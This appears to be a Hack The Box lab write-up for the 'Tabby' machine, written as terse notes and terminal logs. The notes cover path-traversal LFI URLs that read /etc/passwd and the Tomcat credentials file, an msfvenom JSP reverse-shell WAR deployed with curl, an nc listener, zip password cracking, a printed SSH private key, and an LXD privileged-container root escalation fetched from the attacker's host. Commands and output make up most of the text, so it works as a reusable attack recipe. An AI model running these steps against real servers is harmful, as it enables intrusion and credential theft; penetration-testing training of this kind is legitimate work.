LFI

TOMCAT
WAR FILE FOR REVERSE SHELL

FCRACKZIP

LXD PRIVESC

```
PORT     STATE SERVICE VERSION

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)

80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))

|_http-server-header: Apache/2.4.41 (Ubuntu)

|_http-title: Mega Hosting

8080/tcp open  http    Apache Tomcat

|_http-open-proxy: Proxy might be redirecting requests

|_http-title: Apache Tomcat

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Megahosting.htb add to /etc/hosts

http://megahosting.htb/news.php?file=../../../../../etc/passwd

http://tabby.htb:8080/

NOTE: For security reasons, using the manager webapp is restricted to users with role "manager-gui". The host-manager webapp is restricted to users with role "admin-gui". Users are defined in /etc/tomcat9/tomcat-users.xml.

http://megahosting.htb/news.php?file=../../../../../usr/share/tomcat9/etc/tomcatusers.xml

```
<user username="tomcat" password="$3cureP4s5w0rd123!" roles="admin-gui,manager-script"/>
```

```
root@kali:/home/kali/Desktop/hackthebox/tabby# msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.17 LPORT=1234 -f war > payload.war
```

```
root@kali:/home/kali/Desktop/hackthebox/tabby# curl --user 'tomcat:$3cureP4s5w0rd123!' --upload-file payload.war http://10.10.10.194:8080/manager/text/deploy?path=/payload.war
```

```
root@kali:/home/kali/Desktop/hackthebox/tabby# nc -nlvp 1234
```

http://tabby.htb:8080/payload.war/

SHELL GAINED!!!!

```
tomcat@tabby:/var/www/html/files$ ls
```

16162020_backup.zip archive revoked_certs statement

```
root@kali:/home/kali/Desktop/hackthebox/tabby# fcrackzip -v -D -u -p /usr/share/wordlists/rockyou.txt 16162020_backup.zip
PASSWORD FOUND!!!!: pw == admin@it
```

```
tomcat@tabby:/home$ su ash
Password:
ash@tabby:/home$
```

USER SHELL GAINED!!!!!

```
ash@tabby:~$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
```

https://www.hackingarticles.in/lxd-privilege-escalation/

LXD PRIVESC

```
root@kali:/home/kali/Desktop/hackthebox/tabby# git clone  https://github.com/saghul/lxd-alpine-builder.git
```

```
ash@tabby:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/ash/.ssh/id_rsa):
Created directory '/home/ash/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/ash/.ssh/id_rsa
Your public key has been saved in /home/ash/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:Xv7s+uD4aTAn8Vm9nBzRKAErocZBbqeGH24MjcDd6RI ash@tabby
The key's randomart image is:
+---[RSA 3072]----+
|    .o . .... o |
| . . + + . .. o .|
|  o E O o .  o . |
|   . O o..  . o  |
|    = * So.o o + |
|     B o+o+   =  |
|      = .=o      |
|    .  o.=     |
|       .o=+=    |
+----[SHA256]-----+
ash@tabby:~$ ls /home/ash/.ssh/
id_rsa  id_rsa.pub
ash@tabby:~$ cat /home/ash/.ssh/id_rsa.pub
ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQC1zOVA9cpl745/11TaSsxClkktt04KDH3cBlEs+BNp2FCCHbqXrSyKdrJx6tZwmP16dPv
qB2TnzkxbqHD8eApwobJCbRUvTrfKc2ge8JSVQlwoyPz1JZPI0Puk68Zx1iD2WMJkP7oxk39xDmCrxacWIXHBM6vsCzaGRCFwKw
Xt3fGzXG/7t52i0Qie76wFT1ZmhGnobHgOakkNPD7Aw0RecVSkrKxyY8iNoD58nJgdtC0Mwkr0DKm0bKozQnJAoWDbWeA5zA
CyfGcCC0YNPWnmk2XTTmBtv4JG4hkeheHPsQEszfun7Lc5gWUOXvBYQ953aa7Ua+YSJ5ZNbAjHIT4rJTESQCdxejVQ8U3+GNSE
r1FfqcZN+xZv3VDU8FG18gPvfRUgbWPbLqHrscGBa3x5JtzTyClEgO4EImv1vNg/RndvwjhS1G0lGyD6ucmJhe5A0rk8cLn/qesvm
XWh/lBUUQTNngjO8KXELgo3d9p1uKDbzvqTRn50UP/cx+HV/MM= ash@tabby
ash@tabby:~$ echo "ssh-rsa
AAAAB3NzaC1yc2EAAAADAQABAAABgQC1zOVA9cpl745/11TaSsxClkktt04KDH3cBlEs+BNp2FCCHbqXrSyKdrJx6tZwmP16dPv
qB2TnzkxbqHD8eApwobJCbRUvTrfKc2ge8JSVQlwoyPz1JZPI0Puk68Zx1iD2WMJkP7oxk39xDmCrxacWIXHBM6vsCzaGRCFwKw
Xt3fGzXG/7t52i0Qie76wFT1ZmhGnobHgOakkNPD7Aw0RecVSkrKxyY8iNoD58nJgdtC0Mwkr0DKm0bKozQnJAoWDbWeA5zA
CyfGcCC0YNPWnmk2XTTmBtv4JG4hkeheHPsQEszfun7Lc5gWUOXvBYQ953aa7Ua+YSJ5ZNbAjHIT4rJTESQCdxejVQ8U3+GNSE
r1FfqcZN+xZv3VDU8FG18gPvfRUgbWPbLqHrscGBa3x5JtzTyClEgO4EImv1vNg/RndvwjhS1G0lGyD6ucmJhe5A0rk8cLn/qesvm
XWh/lBUUQTNngjO8KXELgo3d9p1uKDbzvqTRn50UP/cx+HV/MM= ash@tabby" >> /home/ash/.ssh/authorized_keys
ash@tabby:~/.ssh$ cat id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAtczlQPXKZe+Of9dU2krMQpZJLbdOCgx93AZRLPgTadhQgh26l60s
inaycerWcJj9enT76gdk585MW6hw/HgKcKGyQm0VL063ynNoHvCUlUJcKMj89SWTyND7pO
vGcdYg9ljCZD+6MZN/cQ5gq8WnFiFxwTOr7As2hkQhcCsF7d3xs1xv+7edotEInu+sBU9W
ZoRp6Gx4DmpJDTw+wMNEXnFUpKyscmPIjaA+fJyYHbQtDMJK9AyptGyqM0JyQKFg21ngOc
wAsnxnAgtGDT1p5pNl005gbb+CRuIZHoXhz7EBLM37p+y3OYFlDl7wWEPed2mu1GvmEieW
TWwIxyE+KyUxEkAncXo1UPFN/hjUhK9RX6nGTfsWb91Q1PBRtfID730VIG1j2y6h67HBgW
t8eSbc08gpRIDuBCJr9bzYP0Z3b8I4UtRtJRsg+rnJiYXuQNK5PHC5/6nrL5l1of5QVFEE
zZ4IzvClxC4KN3fadbig2876k0Z+dFD/3Mfh1fzDAAAFgM7jxJzO48ScAAAAB3NzaC1yc2
EAAAGBALXM5UD1ymXvjn/XVNpKzEKWSS23TgoMfdwGUSz4E2nYUIIdupetLIp2snHq1nCY
/Xp0++oHZOfOTFuocPx4CnChskJtFS9Ot8pzaB7wlJVCXCjI/PUlk8jQ+6TrxnHWIPZYwm
Q/ujGTf3EOYKvFpxYhccEzq+wLNoZEIXArBe3d8bNcb/u3naLRCJ7vrAVPVmaEaehseA5q
SQ08PsDDRF5xVKSsrHJjyI2gPnycmB20LQzCSvQMqbRsqjNCckChYNtZ4DnMALJ8ZwILRg
09aeaTZdNOYG2/gkbiGR6F4c+xASzN+6fstzmBZQ5e8FhD3ndprtRr5hInlk1sCMchPisl
```

```
MRJAJ3F6NVDxTf4Y1ISvUV+pxk37Fm/dUNTwUbXyA+99FSBtY9suoeuxwYFrfHkm3NPIKU
SA7gQia/W82D9Gd2/COFLUbSUbIPq5yYmF7kDSuTxwuf+p6y+ZdaH+UFRRBM2eCM7wpcQu
Cjd32nW4oNvO+pNGfnRQ/9zH4dX8wwAAAAMBAAEAAAGAMhWzpvTQAMtBf9jL6KOoqEOM/4
o7dqtAVUhsPq5NcuCENYSJLlYoKjFPMfEXiMetNXpbGHtXAkGkaa/7CKLthWAWoxQ4POM7
4QtwSO3QkVpJ13afsc3ba/yfBy1pa10pkZScYU/pNNVEy9nBKjF2ubMXCrn4iDwClnTYnX
VM2d5GQzqZI0jPpdZewKKYypGz5ORf5QdU/+uqGnpZc3OYN0iToBZuH8l7rADUljHx+mTz
8ErqqVd/vVQeg6avoTyT4pwoXVuuil5Mcfz9z1MiBzMGyG6oQ7GUl9Z31rHSyML4R/M6I1
rjh2qS4K4GCXGQAYiCaLPWZmbOAVpnN2K65TZa5BAsPVlrSLuu4dKKc8BuMFqBseDmzaax
weLzQcIUHZxekokeO6ou1bg7dRUIbPQVjoefXOL0ShISH3Uz/QONCkf2mQD9dksLMMgOha
kKSOLq39pSGvQh44BothO1PnblfkgU8BqBvV9U9XpkeCUfBPV44NnPM4KdNofchSCRAAAA
wQCDv8ifmleTOnpTx25SOoFaBtEdPRYPawMq2fr1CDnUsYJYk9SyHfHb8KgE/JluUJJFFu
pCpIdgZhOPzkTu9wzQ9cNSvD5Ly0/01b3/m0wFFyXRFzn29hZqX0NWkHOBjColjARdI8qI
a7kmh0T4Tg10zIn4e9x0w3KTsPtRssqxTyuXnNUMR45xPGcAIeDaIn/ufL2C0gg4AuDPVV
ce1fy5vNrDVbKgB93UZ4AQD7u8jDAljHzTC8CDT2EGZVNVT2AAAADBANe/+q/nNXo8fqcO
Ii8HXrN99fFOrqIQQQqN+w2TdJhia8UtLw+2Q9pstgWIIib16fk5/bwl8q2Xs7lCcwipw/
/FOGduFiyiEHgoWFc/TtGI59mcwNf4wQr3q5jbgPCwSxI11EegPg1w9yzusL58kYo3hVm5
3fGz0IXYUXmLxYOr/hdBui+Tt5bYjb510CgE2+nBE4Axz1n5JsluS+B1LcDHv2YbZ2/8Va
mH24qP2mKC5tqUxVXDkd1QCvk63rXe2QAAAMEA17eERzzyCnQ+naM8DX+gkcxJ0fTLlQNR
RByneLokz2+Tyh8pCGGvC8rg3qiD7luA8p24iSXgawZUbt2742OqUmCi5KfIHNJ2oOgLkK
6c71OzUE2QIAi0VARhJ1A5Gl4uU6asuKXju6vLYuj91AMLZziyMudRZiMCK5QvegDmsKnx
Qk/Yvce+DxxXi3N/XH22Rw7fKcLEShdpE/gk+IeZZJ3CnZvZ/BB9FM5yGUjmTeqTesauPQ
ilBkEFUfX6Va77AAAACWFzaEB0YWJieQE=
-----END OPENSSH PRIVATE KEY-----
```

```
root@kali:/home/kali/Desktop/hackthebox/tabby/lxd-alpine-builder# chmod 400 id_rsa

root@kali:/home/kali/Desktop/hackthebox/tabby/lxd-alpine-builder# ssh -i id_rsa ash@tabby.htb


root@kali:/home/kali/Desktop/hackthebox/tabby/lxd-alpine-builder# python -m SimpleHTTPServer 80

ash@tabby:~$ wget 10.10.14.17/alphine.tar.gz
```

```
ash@tabby:~$ ls
alphine.tar.gz  snap  user.txt
ash@tabby:~$ lxc image import ./alphine.tar.gz --alias myimage
Image imported with fingerprint: c3265e888faa1e6c0f90162e428a3925cbc9dd719d47f1e85d7bbcaa7a7a3e6f
ash@tabby:~$ lxc image list
+---------+--------------+--------+------------------------------+--------------+-----------+--------+-------------------------------+
|  ALIAS  | FINGERPRINT  | PUBLIC |         DESCRIPTION          | ARCHITECTURE |   TYPE    |  SIZE  |          UPLOAD DATE          |
+---------+--------------+--------+------------------------------+--------------+-----------+--------+-------------------------------+
| myimage | c3265e888faa | no     | alpine v3.12 (20200629_18:43) | x86_64       | CONTAINER | 3.05MB | Jun 29, 2020 at 11:15pm (UTC) |
+---------+--------------+--------+------------------------------+--------------+-----------+--------+-------------------------------+
ash@tabby:~$ lxc init myimage ignite -c security.privileged=true
ash@tabby:~$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
ash@tabby:~$ lxc start ignite
ash@tabby:~$ lxc exec ignite /bin/sh

/mnt/root/root # ls
root.txt  snap
```